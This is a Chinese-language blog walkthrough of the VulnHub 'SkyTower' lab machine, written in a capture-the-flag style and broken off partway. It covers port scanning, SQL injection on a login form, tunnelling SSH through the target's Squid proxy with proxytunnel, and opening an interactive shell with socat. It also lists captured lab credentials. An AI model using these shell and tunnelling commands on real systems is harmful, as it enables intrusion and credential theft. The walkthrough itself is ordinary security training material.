vulnhub-SkyTower

kali:192.168.56.109
靶机:192.168.56.101

nmap -A -O -p- 192.168.56.101

Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.1.20
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   1.37 ms severnaya-station.com (192.168.56.101)

访问80页面得到登录框,使用sqlmap无果。尝试手动注入,发现会过滤sql语句,从网上下载sqli字典,再用burp suit尝试:



得到用户名与密码 john:hereisjohn 

代理工具 proxychains,proxytunnel

proxytunnel

-a 指定本地侦听端口
-p 使用代理
-r 使用第二个代理
-d 指定访问的目标端口

proxytunnel -p 192.168.56.101:3128 -d 127.0.0.1:22 -a 1234
将kali与目标的3128端口建立隧道,目标再将流量转发到本机22端口,然后再映射到本机1234端口

ssh john@127.0.0.1 -p 1234 #可成功连接

通过靶机提供的代理程序登录ssh,发现ssh只能执行命令,不允许登录。可使用命令:proxychains ssh john@192.168.56.101 /bin/bash也可使用nc反弹shell

下载socat
使用 HOME=/dev/shm ./socat tcp:192.168.56.101:9998 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane 显示出代码提示符
此时没有代码补全
使用 script -qc bash /dev/null 即可补全代码

之所以不能是因为 .bashrc 文件中的配置,将 ~/.bashrc 重命名,之后便可正常登录ssh

查看php配置文件,得到mysql用户名与密码:

登录mysql得到用户名与密码

使用账号sara登录,也存在无法直接登录shell的问题。登录后发现:

 

posted @ 2022-12-29 11:22  某某人8265  阅读(19)  评论(0编辑  收藏  举报